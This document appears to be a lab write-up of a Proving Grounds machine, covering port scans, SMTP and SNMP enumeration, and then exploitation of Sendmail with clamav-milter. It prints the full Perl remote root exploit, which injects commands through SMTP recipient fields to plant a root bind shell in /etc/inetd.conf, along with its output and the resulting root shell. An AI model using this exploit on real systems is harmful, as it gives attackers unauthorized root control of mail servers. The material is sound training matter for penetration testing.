ClamAV Writeup - Proving Grounds
Created October 5, 2026 • Last updated October 6, 2026 • 4 min read
In this walkthrough, we'll exploit a remote command execution vulnerability in Sendmail running clamav-milter, a ClamAV filter. SNMP leaks the running process table, which shows clamav-milter started in black-hole-mode, and the public Sendmail with clamav-milter remote root exploit injects an inetd bind shell over SMTP to land a root shell. No privilege escalation is required.
Reconnaissance
Nmap
Let's begin with an nmap scan against all TCP ports.
Starting Nmap 7.80 ( https://nmap.org ) Nmap scan report for $TARGET_IP Host is up (0.032s latency). Not shown: 65528 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 199/tcp open smux 445/tcp open microsoft-ds 60000/tcp open unknown
Explain command
| -p- | Scan all 65535 TCP ports. |
Next, let's run an aggressive scan against the discovered open ports.
Starting Nmap 7.80 ( https://nmap.org ) Nmap scan report for $TARGET_IP Host is up (0.031s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux)) |_http-server-header: Apache/1.3.33 (Debian GNU/Linux) |_http-title: Ph33r 139/tcp open tcpwrapped 199/tcp open smux Linux SNMP multiplexer 445/tcp open tcpwrapped 60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) Running (JUST GUESSING): Linux 2.6.X (94%) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
| -A | Enable OS detection, version detection, script scanning and traceroute. |
| -sV | Probe open ports for service and version info. |
| -p 22,25,80,139,199,445,60000 | Scan only the ports found by the full sweep. |
The stack is old across the board: OpenSSH 3.8.1p1 and Apache 1.3.33 both date to the Debian sarge era. Port 199 is smux, the SNMP multiplexing port, which hints that SNMP is reachable. We'll start with the SMTP service on port 25.
Enumeration
SMTP enumeration
Next, we'll use netcat to attempt to interact with the SMTP service on port 25.
(UNKNOWN) [$TARGET_IP] 25 (smtp) open HELO test 220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Mon, 23 Mar 2020 14:20:48 -0400; (No UCE/UBE) logging access from: [$ATTACKER_IP](TEMP)-[$ATTACKER_IP] 250 localhost.localdomain Hello [$ATTACKER_IP], pleased to meet you quit 221 2.0.0 localhost.localdomain closing connection
Explain command
| -vv | Very verbose, print connection details. |
This enumeration revealed that the service is running ESMTP Sendmail. Sendmail is often paired with a milter filter, so we'll check SNMP next for the running process list.
SNMP enumeration
Although we did not scan for the SNMP service on UDP port 161 (UDP scans are unreliable anyhow), let's use snmp-check to scan for a running SNMP service on the target. It defaults to the community string public.
snmp-check v1.9 - SNMP enumerator Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) [+] Try to connect to $TARGET_IP:161 using SNMPv1 and community 'public' [*] System information: Host IP address : $TARGET_IP Hostname : 0xbabe.local Description : Linux 0xbabe.local 2.6.8-4-386 #1 Wed Feb 20 06:15:54 UTC 2008 i686 Uptime system : 00:32:46.43 System date : 2020-4-28 16:22:09.0 ... 3765 runnable clamd /usr/local/sbin/clamd 3767 runnable clamav-milter /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl 3776 runnable inetd /usr/sbin/inetd ...
An SNMP service is running on the target, and the tool returned lots of output. Sifting through it, we discover that clamav-milter is running with Sendmail in black-hole-mode. That is the exact precondition for the Sendmail with clamav-milter remote root vulnerability.
Exploitation
Remote code execution
A public exploit search reveals a Remote Command Execution vulnerability (Exploit-DB 4761). It abuses the milter black-hole-mode to inject a command into the recipient field of an SMTP message, appending a root bind shell to /etc/inetd.conf and restarting inetd. Following the exploit, let's create the following Perl file:
#!/usr/bin/perl
# Sendmail w/ clamav-milter Remote Root Exploit
# Copyright (C) 2007 Eliteboy
use IO::Socket::INET;
if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
print "Attacking $ARGV[0]...\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '25',
Proto => 'tcp');
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"\@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"\@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
while (<$sock>) {
print;
}This exploit should hopefully open a bind shell on the target on TCP port 31337. Let's give the exploit executable permissions and run it:
Sendmail w/ clamav-milter Remote Root Exploit Copyright (C) 2007 Eliteboy Attacking $TARGET_IP... 220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; ... 250 2.1.0 <>... Sender ok 250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok 250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok 354 Enter mail, end with "." on a line by itself 250 2.0.0 073KU8jk004063 Message accepted for delivery 221 2.0.0 localhost.localdomain closing connection
Explain command
| chmod 777 | Make the exploit script world-executable. |
Both recipient injections are accepted and inetd restarts, so it now listens on TCP 31337 and spawns /bin/sh as root for any connection. If everything worked correctly, we should now be able to connect to the target on port 31337:
(UNKNOWN) [$TARGET_IP] 31337 (?) open whoami root
Explain command
| -nv | Verbose output with no DNS resolution on the target address. |
The bind shell answers as root.
Privilege Escalation
Since we've gained access as root, we don't need to escalate our privileges.
Related
SMTP enumeration
Techniques for enumerating valid users and gathering SMTP server info using VRFY, EXPN, and RCPT TO...
SNMP Broad System Enumeration
Enumerate SNMP MIB trees to extract system info, running processes, network interfaces, and user acc...
SNMP Default and Weak Community Strings
Enumerate SNMP services for default or weak community strings (public/private) using brute-force too...
SNMP Targeted OID Enumeration
References
-
Sendmail with clamav-milter remote root exploit. Injects an inetd bind shell over SMTP against a milter running in black-hole-mode.